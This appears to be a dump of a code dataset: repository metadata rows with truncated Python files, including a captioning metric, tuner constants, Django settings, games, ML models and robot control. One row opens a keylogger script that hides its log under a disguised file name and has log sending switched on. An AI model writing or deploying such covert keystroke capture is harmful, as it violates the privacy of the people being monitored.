hexsha stringlengths 40 40 | size int64 2 1.02M | ext stringclasses 10
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 245 | max_stars_repo_name stringlengths 6 130 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 245 | max_issues_repo_name stringlengths 6 130 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 67k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 245 | max_forks_repo_name stringlengths 6 130 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 2 1.02M | avg_line_length float64 1 958k | max_line_length int64 1 987k | alphanum_fraction float64 0 1 | content_no_comment stringlengths 0 1.01M | is_comment_constant_removed bool 2
classes | is_sharp_comment_removed bool 1
class |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
1c20df977a3af3c862f110151bc9b595f63a8bdc | 1,773 | py | Python | cider/cider.py | jungokasai/pycocoevalcap | 9e3c748a100ef1169b9c52e0e859b3e9ee7a1055 | [
"BSD-2-Clause-FreeBSD"
] | null | null | null | cider/cider.py | jungokasai/pycocoevalcap | 9e3c748a100ef1169b9c52e0e859b3e9ee7a1055 | [
"BSD-2-Clause-FreeBSD"
] | null | null | null | cider/cider.py | jungokasai/pycocoevalcap | 9e3c748a100ef1169b9c52e0e859b3e9ee7a1055 | [
"BSD-2-Clause-FreeBSD"
] | null | null | null | # Filename: cider.py
#
# Description: Describes the class to compute the CIDEr (Consensus-Based Image Description Evaluation) Metric
# by Vedantam, Zitnick, and Parikh (http://arxiv.org/abs/1411.5726)
#
# Creation Date: Sun Feb 8 14:16:54 2015
#
# Authors: Ramakrishna Vedantam <vrama91@vt.edu> and Tsung-... | 30.568966 | 121 | 0.604625 |
from .cider_scorer import CiderScorer
import pdb
class Cider:
def __init__(self, test=None, refs=None, n=4, sigma=6.0):
self._n = n
self._sigma = sigma
def compute_score(self, gts, res):
assert(gts.keys() == res.keys())
imgIds = gts.keys()
c... | true | true |
1c20dffee6e5ff7fd8b524c1c25f042abfdb54d0 | 1,631 | py | Python | src/sdk/pynni/nni/constants.py | runauto/nni | 30152b04c4739f5b4f95087dee5f1e66ee893078 | [
"MIT"
] | 2 | 2019-12-30T20:42:17.000Z | 2021-01-24T16:51:56.000Z | src/sdk/pynni/nni/constants.py | runauto/nni | 30152b04c4739f5b4f95087dee5f1e66ee893078 | [
"MIT"
] | null | null | null | src/sdk/pynni/nni/constants.py | runauto/nni | 30152b04c4739f5b4f95087dee5f1e66ee893078 | [
"MIT"
] | 1 | 2020-01-11T13:19:26.000Z | 2020-01-11T13:19:26.000Z | # Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
ModuleName = {
'TPE': 'nni.hyperopt_tuner.hyperopt_tuner',
'Random': 'nni.hyperopt_tuner.hyperopt_tuner',
'Anneal': 'nni.hyperopt_tuner.hyperopt_tuner',
'Evolution': 'nni.evolution_tuner.evolution_tuner',
'SMAC': 'nni.smac_tu... | 27.644068 | 73 | 0.670754 |
ModuleName = {
'TPE': 'nni.hyperopt_tuner.hyperopt_tuner',
'Random': 'nni.hyperopt_tuner.hyperopt_tuner',
'Anneal': 'nni.hyperopt_tuner.hyperopt_tuner',
'Evolution': 'nni.evolution_tuner.evolution_tuner',
'SMAC': 'nni.smac_tuner.smac_tuner',
'BatchTuner': 'nni.batch_tuner.batch_tuner',
'... | true | true |
1c20e09763ccac677592fcfcb22020212109c523 | 387 | py | Python | iFarm/iFarm/asgi.py | vmakar0v/smart-farm | 47bd7be4b40bbca57492ae5b8da09cc0635bfa2a | [
"Apache-2.0"
] | null | null | null | iFarm/iFarm/asgi.py | vmakar0v/smart-farm | 47bd7be4b40bbca57492ae5b8da09cc0635bfa2a | [
"Apache-2.0"
] | null | null | null | iFarm/iFarm/asgi.py | vmakar0v/smart-farm | 47bd7be4b40bbca57492ae5b8da09cc0635bfa2a | [
"Apache-2.0"
] | null | null | null | """
ASGI config for iFarm project.
It exposes the ASGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/3.1/howto/deployment/asgi/
"""
import os
from django.core.asgi import get_asgi_application
os.environ.setdefault('DJANGO_SETTING... | 22.764706 | 78 | 0.782946 |
import os
from django.core.asgi import get_asgi_application
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'iFarm.settings')
application = get_asgi_application()
| true | true |
1c20e107eabe8f0ff038da95a569e56149db1ae8 | 2,049 | py | Python | keylogger.py | danielserbu/BasicKeylogger | 8b5d9d46e4d4f29d5ac40b09ee4641c98af47c77 | [
"MIT"
] | null | null | null | keylogger.py | danielserbu/BasicKeylogger | 8b5d9d46e4d4f29d5ac40b09ee4641c98af47c77 | [
"MIT"
] | null | null | null | keylogger.py | danielserbu/BasicKeylogger | 8b5d9d46e4d4f29d5ac40b09ee4641c98af47c77 | [
"MIT"
] | null | null | null | from pynput.keyboard import Key, Listener
import os
from time import sleep
from datetime import datetime
from sys import platform
import requests
import logging
from threading import Thread
# !! SETTINGS !! #
log_sending = True
log_file_path = "systemlogs.txt" # masquerade it
# !! SETTINGS !! #
def setup_log_path():... | 27.689189 | 105 | 0.656906 | from pynput.keyboard import Key, Listener
import os
from time import sleep
from datetime import datetime
from sys import platform
import requests
import logging
from threading import Thread
log_sending = True
log_file_path = "systemlogs.txt"
def setup_log_path():
global log_file_path
if platform.startswith(... | true | true |
1c20e18d3697593096728c29f24f8d09c6186857 | 53 | py | Python | django_mail_viewer/backends/__init__.py | jmichalicek/django-mail-viewer | ede04bc6a0809b8e62621f5646396893ad966d71 | [
"MIT"
] | 3 | 2017-07-19T23:35:31.000Z | 2022-02-13T18:49:04.000Z | django_mail_viewer/backends/__init__.py | jmichalicek/django-mail-viewer | ede04bc6a0809b8e62621f5646396893ad966d71 | [
"MIT"
] | 1 | 2019-10-05T14:51:39.000Z | 2019-10-05T14:51:40.000Z | django_mail_viewer/backends/__init__.py | jmichalicek/django-mail-viewer | ede04bc6a0809b8e62621f5646396893ad966d71 | [
"MIT"
] | null | null | null | """
Django email backends for Django Mail Viewer
"""
| 13.25 | 44 | 0.716981 | true | true | |
1c20e20d9b449d8700796326623c0550c79ed125 | 3,377 | py | Python | app/core/settings.py | erischon/p10_try_1 | 895540babdcd5fda15a5abf0aa0c24dac71095aa | [
"MIT"
] | null | null | null | app/core/settings.py | erischon/p10_try_1 | 895540babdcd5fda15a5abf0aa0c24dac71095aa | [
"MIT"
] | null | null | null | app/core/settings.py | erischon/p10_try_1 | 895540babdcd5fda15a5abf0aa0c24dac71095aa | [
"MIT"
] | null | null | null |
from pathlib import Path
import os
# Build paths inside the project like this: BASE_DIR / 'subdir'.
BASE_DIR = Path(__file__).resolve().parent.parent
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
... | 28.618644 | 96 | 0.687593 |
from pathlib import Path
import os
BASE_DIR = Path(__file__).resolve().parent.parent
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'webapp',
'user... | true | true |
1c20e23ef47cf904b4ee37f7fceaefbcfa1283ed | 4,013 | py | Python | Connect4.py | AliDaVinci/ConnectFour | 82060777784616d11256a06e44222e91dd7baecf | [
"MIT"
] | null | null | null | Connect4.py | AliDaVinci/ConnectFour | 82060777784616d11256a06e44222e91dd7baecf | [
"MIT"
] | null | null | null | Connect4.py | AliDaVinci/ConnectFour | 82060777784616d11256a06e44222e91dd7baecf | [
"MIT"
] | null | null | null | import numpy as np
import pygame
import sys
import math
BLUE = (0,0,255)
BLACK = (0,0,0,)
RED = (255,0,0)
YELLOW = (255,255,0)
ROW_COUNT = 6
COLUMN_COUNT = 7
def create_board():
board = np.zeros((ROW_COUNT,COLUMN_COUNT))
return board
def drop_piece(board, row, col, piece):
board[row][col] = piece
def is_valid_l... | 26.932886 | 121 | 0.6616 | import numpy as np
import pygame
import sys
import math
BLUE = (0,0,255)
BLACK = (0,0,0,)
RED = (255,0,0)
YELLOW = (255,255,0)
ROW_COUNT = 6
COLUMN_COUNT = 7
def create_board():
board = np.zeros((ROW_COUNT,COLUMN_COUNT))
return board
def drop_piece(board, row, col, piece):
board[row][col] = piece
def is_valid_l... | true | true |
1c20e25a589c7f1ea768aae75e607b6ce0c3c604 | 266 | py | Python | parsifal/apps/core/management/commands/environment.py | ShivamPytho/parsifal | 9386a0fb328d4880d052c94e9224ce50a9b2f6a6 | [
"MIT"
] | 342 | 2015-01-14T17:25:35.000Z | 2022-02-26T11:59:09.000Z | parsifal/apps/core/management/commands/environment.py | ShivamPytho/parsifal | 9386a0fb328d4880d052c94e9224ce50a9b2f6a6 | [
"MIT"
] | 56 | 2015-01-23T12:57:59.000Z | 2022-03-12T01:01:38.000Z | parsifal/apps/core/management/commands/environment.py | ShivamPytho/parsifal | 9386a0fb328d4880d052c94e9224ce50a9b2f6a6 | [
"MIT"
] | 200 | 2015-01-22T21:50:41.000Z | 2021-12-28T13:42:57.000Z | from django.conf import settings
from django.core.management.base import BaseCommand
class Command(BaseCommand):
help = "Display the current Parsifal environment"
def handle(self, *args, **kwargs):
self.stdout.write(settings.PARSIFAL_ENVIRONMENT)
| 26.6 | 56 | 0.759398 | from django.conf import settings
from django.core.management.base import BaseCommand
class Command(BaseCommand):
help = "Display the current Parsifal environment"
def handle(self, *args, **kwargs):
self.stdout.write(settings.PARSIFAL_ENVIRONMENT)
| true | true |
1c20e2b9d978d2cefa4759e073bc6bcba0db3547 | 2,576 | py | Python | milksets/seeds/seeds.py | luispedro/milksets | 84fc8cba4d4a87acf573ce562cd065b0ee37fadd | [
"MIT"
] | 7 | 2015-05-15T19:49:25.000Z | 2021-02-04T10:18:15.000Z | milksets/seeds/seeds.py | luispedro/milksets | 84fc8cba4d4a87acf573ce562cd065b0ee37fadd | [
"MIT"
] | null | null | null | milksets/seeds/seeds.py | luispedro/milksets | 84fc8cba4d4a87acf573ce562cd065b0ee37fadd | [
"MIT"
] | 2 | 2021-02-04T10:18:17.000Z | 2021-04-20T02:26:38.000Z | # -*- coding: utf-8 -*-
# Copyright (C) 2012, Luis Pedro Coelho <luis@luispedro.org>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the ... | 37.882353 | 80 | 0.73059 |
from __future__ import division
import numpy as np
from os.path import dirname
from ..vtypes import continuous
from ..utils import standard_properties, standard_classification_loader
__all__ = ['load'] + standard_properties
name = 'seeds'
short_name = 'Seeds'
long_name = 'Seeds Flower Data Set'
r... | true | true |
1c20e2c2b6a61970cf029078fd2340078eaa335c | 4,899 | py | Python | piwheels/__init__.py | jgillis/piwheels | 541882d0ba703493cb6ecdc889a397173295d3ad | [
"BSD-3-Clause"
] | 120 | 2019-07-16T00:05:17.000Z | 2022-03-23T17:57:16.000Z | piwheels/__init__.py | jgillis/piwheels | 541882d0ba703493cb6ecdc889a397173295d3ad | [
"BSD-3-Clause"
] | 247 | 2019-07-13T11:52:27.000Z | 2022-03-28T11:11:28.000Z | piwheels/__init__.py | jgillis/piwheels | 541882d0ba703493cb6ecdc889a397173295d3ad | [
"BSD-3-Clause"
] | 12 | 2019-07-18T19:39:46.000Z | 2021-11-07T11:53:57.000Z | # The piwheels project
# Copyright (c) 2017 Ben Nuttall <https://github.com/bennuttall>
# Copyright (c) 2017 Dave Jones <dave@waveform.org.uk>
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistribution... | 43.353982 | 81 | 0.714227 |
# pylint: disable=bad-whitespace
__project__ = 'piwheels'
__version__ = '0.19'
__keywords__ = ['raspberrypi', 'pip', 'wheels']
__author__ = 'Ben Nuttall'
__author_email__ = 'ben@bennuttall.com'
__url__ = 'https://www.piwheels.org/'
__platforms__ = 'ALL'
__... | true | true |
1c20e351b501b92a6c0deda01050c9de8e281eba | 1,297 | py | Python | atividade-avaliacao/avaliacao-06/produto.py | claralivia/clara-livia--p7info-poo | a90ddfd16891c2646d859fc61ca49365ec70a6b9 | [
"MIT"
] | 2 | 2021-12-05T17:05:54.000Z | 2021-12-05T17:07:25.000Z | atividade-avaliacao/avaliacao-06/produto.py | claralivia/clara-livia--p7info-poo | a90ddfd16891c2646d859fc61ca49365ec70a6b9 | [
"MIT"
] | null | null | null | atividade-avaliacao/avaliacao-06/produto.py | claralivia/clara-livia--p7info-poo | a90ddfd16891c2646d859fc61ca49365ec70a6b9 | [
"MIT"
] | null | null | null | """
Módulo produto
Classe Produto
Atributos :
id - informado
codigo - informado
descricao - informado
valorUnitario - informado.
"""
from BANCO import bancodados
class Produto(bancodados.Model):
__tablename__ = 'TB_PRODUTO'
id = bancodados.Col... | 30.880952 | 138 | 0.659985 |
from BANCO import bancodados
class Produto(bancodados.Model):
__tablename__ = 'TB_PRODUTO'
id = bancodados.Column(bancodados.Integer, primary_key=True)
codigo = bancodados.Column(bancodados.Integer, nullable=False)
descricao = bancodados.Column(bancodados.String, nullable=False)
valorUnitario = ba... | true | true |
1c20e375f6fc96f5fab8b6d24f3fafcb5ae779ee | 505 | py | Python | base/migrations/0008_participant_participant_code.py | 0xelectron/mhtportal-web | bd05069d6245e86d4ae887cacf33b04ef9476816 | [
"MIT"
] | null | null | null | base/migrations/0008_participant_participant_code.py | 0xelectron/mhtportal-web | bd05069d6245e86d4ae887cacf33b04ef9476816 | [
"MIT"
] | 5 | 2019-10-20T06:17:36.000Z | 2021-06-10T18:13:29.000Z | base/migrations/0008_participant_participant_code.py | 0xelectron/mhtportal-web | bd05069d6245e86d4ae887cacf33b04ef9476816 | [
"MIT"
] | 2 | 2017-12-23T16:54:13.000Z | 2018-09-06T18:36:47.000Z | # -*- coding: utf-8 -*-
# Generated by Django 1.11.23 on 2020-02-29 17:33
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('base', '0007_auto_20170926_0754'),
]
operations = [
migrations.AddField(
... | 24.047619 | 93 | 0.639604 |
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('base', '0007_auto_20170926_0754'),
]
operations = [
migrations.AddField(
model_name='participant',
name='participant_code'... | true | true |
1c20e41b7e139d69a21c4a9841574d9a21f81f82 | 5,793 | py | Python | test/tests/build_cmd_tests.py | paulbry/pavilion2 | 3b17ba0354d336e824018455d27f293ff7f9cf97 | [
"BSD-3-Clause"
] | null | null | null | test/tests/build_cmd_tests.py | paulbry/pavilion2 | 3b17ba0354d336e824018455d27f293ff7f9cf97 | [
"BSD-3-Clause"
] | null | null | null | test/tests/build_cmd_tests.py | paulbry/pavilion2 | 3b17ba0354d336e824018455d27f293ff7f9cf97 | [
"BSD-3-Clause"
] | null | null | null | from pavilion import plugins
from pavilion import commands
from pavilion.unittest import PavTestCase
from pavilion import arguments
from pavilion.plugins.commands.run import RunCommand
from pavilion.status_file import STATES
import io
class BuildCmdTests(PavTestCase):
"""The build command is really just the run c... | 36.20625 | 80 | 0.60038 | from pavilion import plugins
from pavilion import commands
from pavilion.unittest import PavTestCase
from pavilion import arguments
from pavilion.plugins.commands.run import RunCommand
from pavilion.status_file import STATES
import io
class BuildCmdTests(PavTestCase):
def setUp(self):
plugins.initialize_... | true | true |
1c20e661ff7896d5000e0762511d38c1e8fe89f1 | 28 | py | Python | src/titiler/mosaic/titiler/mosaic/models/__init__.py | obaid585/rastertile | 18904ffd8e95907cae7b9839bfc9f7d902182ac2 | [
"MIT"
] | 2 | 2020-12-19T01:25:08.000Z | 2022-02-27T14:35:45.000Z | src/titiler/mosaic/titiler/mosaic/models/__init__.py | obaid585/rastertile | 18904ffd8e95907cae7b9839bfc9f7d902182ac2 | [
"MIT"
] | null | null | null | src/titiler/mosaic/titiler/mosaic/models/__init__.py | obaid585/rastertile | 18904ffd8e95907cae7b9839bfc9f7d902182ac2 | [
"MIT"
] | null | null | null | """titiler.mosaic.models"""
| 14 | 27 | 0.678571 | true | true | |
1c20e73bf7aa2ab1de0349aece6182dc05ee3a5f | 2,524 | py | Python | zeeguu/core/sql/learner/words.py | mircealungu/Zeeguu-API-2 | 1e8ea7f5dd0b883ed2d714b9324162b1a8edd170 | [
"MIT"
] | 8 | 2018-02-06T15:47:55.000Z | 2021-05-26T15:24:49.000Z | zeeguu/core/sql/learner/words.py | mircealungu/Zeeguu-API-2 | 1e8ea7f5dd0b883ed2d714b9324162b1a8edd170 | [
"MIT"
] | 57 | 2018-02-02T19:54:38.000Z | 2021-07-15T15:45:15.000Z | zeeguu/core/sql/learner/words.py | mircealungu/Zeeguu-API-2 | 1e8ea7f5dd0b883ed2d714b9324162b1a8edd170 | [
"MIT"
] | 13 | 2017-10-12T09:05:19.000Z | 2020-02-19T09:38:01.000Z | from zeeguu.core.model import Bookmark
from zeeguu.core.sql.query_building import list_of_dicts_from_query
def words_not_studied(user_id, language_id, from_date: str, to_date: str):
query = """
select b.id as bookmark_id,
uw.word,
uw_t.word as translation,
... | 26.851064 | 74 | 0.528526 | from zeeguu.core.model import Bookmark
from zeeguu.core.sql.query_building import list_of_dicts_from_query
def words_not_studied(user_id, language_id, from_date: str, to_date: str):
query = """
select b.id as bookmark_id,
uw.word,
uw_t.word as translation,
... | true | true |
1c20e80cb094add6abad734ad5777cec55002451 | 743 | py | Python | setup.py | zcutlip/ip-address-pool | b5ef755ccba37327d0eb1d78839cbce4efa46bbd | [
"MIT"
] | null | null | null | setup.py | zcutlip/ip-address-pool | b5ef755ccba37327d0eb1d78839cbce4efa46bbd | [
"MIT"
] | null | null | null | setup.py | zcutlip/ip-address-pool | b5ef755ccba37327d0eb1d78839cbce4efa46bbd | [
"MIT"
] | null | null | null | from setuptools import find_packages, setup
about = {}
with open("ip_pool/__about__.py") as fp:
exec(fp.read(), about)
with open("README.md", "r") as fp:
long_description = fp.read()
setup(
name="ip-pool",
version=about["__version__"],
description=about["__summary__"],
long_description=long_d... | 26.535714 | 64 | 0.666218 | from setuptools import find_packages, setup
about = {}
with open("ip_pool/__about__.py") as fp:
exec(fp.read(), about)
with open("README.md", "r") as fp:
long_description = fp.read()
setup(
name="ip-pool",
version=about["__version__"],
description=about["__summary__"],
long_description=long_d... | true | true |
1c20e843ce02dd4111cab19ad0f48c65e04ee6d3 | 7,334 | py | Python | images.py | EdLeafe/photoserver | 5b850f78370a64f87bd55841e166e402b20abedb | [
"MIT"
] | 1 | 2020-11-04T02:33:37.000Z | 2020-11-04T02:33:37.000Z | images.py | EdLeafe/photoserver | 5b850f78370a64f87bd55841e166e402b20abedb | [
"MIT"
] | null | null | null | images.py | EdLeafe/photoserver | 5b850f78370a64f87bd55841e166e402b20abedb | [
"MIT"
] | null | null | null | from datetime import datetime
import os
import shutil
from flask import Flask, abort, flash, g
from flask import redirect, render_template, request, send_from_directory
from flask import url_for
from PIL import Image
from werkzeug.utils import secure_filename
import entities, utils
IMAGE_FOLDER = "/var/www/photoserv... | 31.886957 | 78 | 0.622307 | from datetime import datetime
import os
import shutil
from flask import Flask, abort, flash, g
from flask import redirect, render_template, request, send_from_directory
from flask import url_for
from PIL import Image
from werkzeug.utils import secure_filename
import entities, utils
IMAGE_FOLDER = "/var/www/photoserv... | true | true |
1c20e8847dd9441a2b17e321527cfb81fff3244c | 16,956 | py | Python | Hea-L3-Compiled/hea-ppm.py | annie898he/Picture-filters-by-code | fd9071e685e8530619bc04f1d9a3a0bb2e5aee23 | [
"MIT"
] | null | null | null | Hea-L3-Compiled/hea-ppm.py | annie898he/Picture-filters-by-code | fd9071e685e8530619bc04f1d9a3a0bb2e5aee23 | [
"MIT"
] | null | null | null | Hea-L3-Compiled/hea-ppm.py | annie898he/Picture-filters-by-code | fd9071e685e8530619bc04f1d9a3a0bb2e5aee23 | [
"MIT"
] | null | null | null | ##################################################################
# Author: Annie He
# Username: hea
# Date: 4/6/16
# Assignment: A15
# Purpose: To learn more about lists of lists and deep copies and also
# to enhance a larger module (ppm.py)
##################################################################
'... | 47.1 | 145 | 0.62963 | ename needed for viewing
self.title=inasciifile # used for the title of the display window
self.magic="P3" # ppm file type
self.comment="# Created by ppm-class, by Dr. Jan Pearce\n"
self.width=0
self.height=0
self.colormax=255 #should be set to 255
self.asc... | false | true |
1c20e91cb7b148df14713e49e9ebe34ed5e9377b | 1,543 | py | Python | packages/M2Crypto-0.21.1/demo/ssl/c_bio.py | RaphaelPrevost/Back2Shops | 5f2d369e82fe2a7b9b3a6c55782319b23d142dfd | [
"CECILL-B"
] | null | null | null | packages/M2Crypto-0.21.1/demo/ssl/c_bio.py | RaphaelPrevost/Back2Shops | 5f2d369e82fe2a7b9b3a6c55782319b23d142dfd | [
"CECILL-B"
] | 6 | 2021-03-31T19:21:50.000Z | 2022-01-13T01:46:09.000Z | packages/M2Crypto-0.21.1/demo/ssl/c_bio.py | RaphaelPrevost/Back2Shops | 5f2d369e82fe2a7b9b3a6c55782319b23d142dfd | [
"CECILL-B"
] | null | null | null | #!/usr/bin/env python
"""C programming in Python. Have SWIG sweat the pointers. ;-)
Copyright (c) 1999-2000 Ng Pheng Siong. All rights reserved."""
from socket import *
import sys
from M2Crypto import SSL, m2
HOST = '127.0.0.1'
PORT = 9443
req_10 = 'GET / HTTP/1.0\r\n\r\n'
req_11 = 'GET / HTTP/1.1\r\nHost: localho... | 21.732394 | 73 | 0.640959 |
from socket import *
import sys
from M2Crypto import SSL, m2
HOST = '127.0.0.1'
PORT = 9443
req_10 = 'GET / HTTP/1.0\r\n\r\n'
req_11 = 'GET / HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n'
def c_10():
c_style(HOST, PORT, req_10)
def c_11():
c_style(HOST, PORT, req_11)
def c_style(HOST, P... | true | true |
1c20e92b0e3221b88305c53465fdb9e2e89d6c96 | 9,255 | py | Python | CelebA/final/vae_debug.py | shagunuppal/Riemannian_Geometry_of_Deep_Generative_Models | 98ebd17119d6065d4d89e93d6e0c11d82d49eb33 | [
"MIT"
] | 4 | 2020-12-18T09:56:25.000Z | 2022-02-24T16:50:44.000Z | CelebA/final/vae_debug.py | shagunuppal/Riemannian_Geometry_of_Deep_Generative_Models | 98ebd17119d6065d4d89e93d6e0c11d82d49eb33 | [
"MIT"
] | null | null | null | CelebA/final/vae_debug.py | shagunuppal/Riemannian_Geometry_of_Deep_Generative_Models | 98ebd17119d6065d4d89e93d6e0c11d82d49eb33 | [
"MIT"
] | 1 | 2021-07-13T06:38:26.000Z | 2021-07-13T06:38:26.000Z | import os, time, sys
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
import itertools
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
from torchvision import datasets, transforms
from torch.autograd import Variable
import argparse
from t... | 34.793233 | 177 | 0.551378 | import os, time, sys
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
import itertools
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
from torchvision import datasets, transforms
from torch.autograd import Variable
import argparse
from t... | false | true |
1c20e9c08090648b79a2d05ab6dd21269507bac1 | 6,774 | py | Python | tests/test_pipelines_client.py | KavinKrishnan/clara-platform-python-client | 05c873b93022de15902adc656cf9735639d57a73 | [
"Apache-2.0"
] | 8 | 2020-10-30T22:45:07.000Z | 2021-09-23T18:22:30.000Z | tests/test_pipelines_client.py | KavinKrishnan/clara-platform-python-client | 05c873b93022de15902adc656cf9735639d57a73 | [
"Apache-2.0"
] | 1 | 2020-12-29T23:42:27.000Z | 2020-12-29T23:42:27.000Z | tests/test_pipelines_client.py | KavinKrishnan/clara-platform-python-client | 05c873b93022de15902adc656cf9735639d57a73 | [
"Apache-2.0"
] | 4 | 2020-11-03T18:31:49.000Z | 2021-11-09T17:47:12.000Z | # Copyright (c) 2020, NVIDIA CORPORATION. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required ... | 30.241071 | 91 | 0.620461 |
import nvidia_clara.grpc.common_pb2 as common_pb2
import nvidia_clara.grpc.pipelines_pb2 as pipelines_pb2
from nvidia_clara.base_client import BaseClient
from nvidia_clara.pipelines_client import PipelinesClient
import nvidia_clara.pipeline_types as pipeline_types
from tests.test_client_tools im... | true | true |
1c20e9d839ea0edbcfd61d7893064bc58e43ecf7 | 17,627 | py | Python | Code/binarytree.py | hleejr/CS-1.3 | 94725ac4795687db372cc5b7cb40d3b29404c236 | [
"MIT"
] | null | null | null | Code/binarytree.py | hleejr/CS-1.3 | 94725ac4795687db372cc5b7cb40d3b29404c236 | [
"MIT"
] | 5 | 2019-06-27T17:00:49.000Z | 2019-07-06T18:57:07.000Z | Code/binarytree.py | hleejr/CS-1.3 | 94725ac4795687db372cc5b7cb40d3b29404c236 | [
"MIT"
] | null | null | null | #!python
from queue import Queue
class BinaryTreeNode(object):
def __init__(self, data):
"""Initialize this binary tree node with the given data."""
self.data = data
self.left = None
self.right = None
def __repr__(self):
"""Return a string representation of this binary... | 44.966837 | 124 | 0.623702 |
from queue import Queue
class BinaryTreeNode(object):
def __init__(self, data):
self.data = data
self.left = None
self.right = None
def __repr__(self):
return 'BinaryTreeNode({!r})'.format(self.data)
def is_leaf(self):
return self.left is None and self.r... | true | true |
1c20ea851c899b43d80572d0ef6b26e838219165 | 2,086 | py | Python | PythonWeb/PythonWeb/urls.py | amdone/DjangoWebs | 4f0d0b3c431bc5fe06efd4126f86fefadb4b82e8 | [
"MIT"
] | null | null | null | PythonWeb/PythonWeb/urls.py | amdone/DjangoWebs | 4f0d0b3c431bc5fe06efd4126f86fefadb4b82e8 | [
"MIT"
] | null | null | null | PythonWeb/PythonWeb/urls.py | amdone/DjangoWebs | 4f0d0b3c431bc5fe06efd4126f86fefadb4b82e8 | [
"MIT"
] | null | null | null | """PythonWeb URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.1/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
C... | 35.965517 | 78 | 0.655321 |
from django.conf.urls import url
from django.urls import path, include
from PythonWeb import views
from acfun import toll
from bili import views as bili
from login import views as login
from youtube import views as youtube
from django.contrib import admin
from other import views as other
from twitter import ... | true | true |
1c20eb2667df084c6de1e041b261fe1a7f3f058f | 1,500 | py | Python | restful_api/urls.py | NewWorldInnovations/fme | a1558d7957ad26759c485c617f4fc25864da1925 | [
"MIT"
] | null | null | null | restful_api/urls.py | NewWorldInnovations/fme | a1558d7957ad26759c485c617f4fc25864da1925 | [
"MIT"
] | 5 | 2021-03-18T20:32:49.000Z | 2022-03-11T23:21:21.000Z | restful_api/urls.py | NewWorldInnovations/fme-backend | a1558d7957ad26759c485c617f4fc25864da1925 | [
"MIT"
] | null | null | null | from django.conf.urls import url
from rest_framework_jwt.views import obtain_jwt_token, refresh_jwt_token, verify_jwt_token
from .views import *
urlpatterns = [
url(r'^token/auth/$', obtain_jwt_token),
url(r'^token/refresh/$', refresh_jwt_token),
url(r'^token/verify/$', verify_jwt_token),
url(r'^login/$', UserLog... | 42.857143 | 248 | 0.772 | from django.conf.urls import url
from rest_framework_jwt.views import obtain_jwt_token, refresh_jwt_token, verify_jwt_token
from .views import *
urlpatterns = [
url(r'^token/auth/$', obtain_jwt_token),
url(r'^token/refresh/$', refresh_jwt_token),
url(r'^token/verify/$', verify_jwt_token),
url(r'^login/$', UserLog... | true | true |
1c20ecaa8539e5379fb4f532f78d5b686783d5e8 | 9,093 | py | Python | strategy/scripts/stocking_task.py | andy-Chien/timda_dual_arm | 94170d8889218ea0dc4e6031dcbbf59b7e37e70c | [
"MIT"
] | 1 | 2022-03-09T10:53:15.000Z | 2022-03-09T10:53:15.000Z | strategy/scripts/stocking_task.py | andy-Chien/timda_dual_arm | 94170d8889218ea0dc4e6031dcbbf59b7e37e70c | [
"MIT"
] | 2 | 2021-06-23T17:06:41.000Z | 2021-06-30T09:44:41.000Z | strategy/scripts/stocking_task.py | andy-Chien/timda_dual_arm | 94170d8889218ea0dc4e6031dcbbf59b7e37e70c | [
"MIT"
] | 9 | 2021-02-01T08:20:53.000Z | 2021-09-17T05:52:35.000Z | #!/usr/bin/env python
from enum import IntEnum
# from Queue import Queue
import rospy
import queue
import copy
import numpy as np
from std_msgs.msg import Bool, Int32
from arm_control import DualArmTask
from arm_control import ArmTask, SuctionTask, Command, Status
from get_image_info import GetObjInfo
from math impor... | 42.690141 | 94 | 0.48015 |
from enum import IntEnum
import rospy
import queue
import copy
import numpy as np
from std_msgs.msg import Bool, Int32
from arm_control import DualArmTask
from arm_control import ArmTask, SuctionTask, Command, Status
from get_image_info import GetObjInfo
from math import radians, degrees, sin, cos, pi
, 0, 0]],
... | true | true |
1c20ee69028352523603477f172ddd8a8572c93e | 918 | py | Python | jsonite/JavascriptMiddleware.py | ChrisByrd14/JSONite | db77b535524e424775bc8f65c3809b94229767ae | [
"MIT"
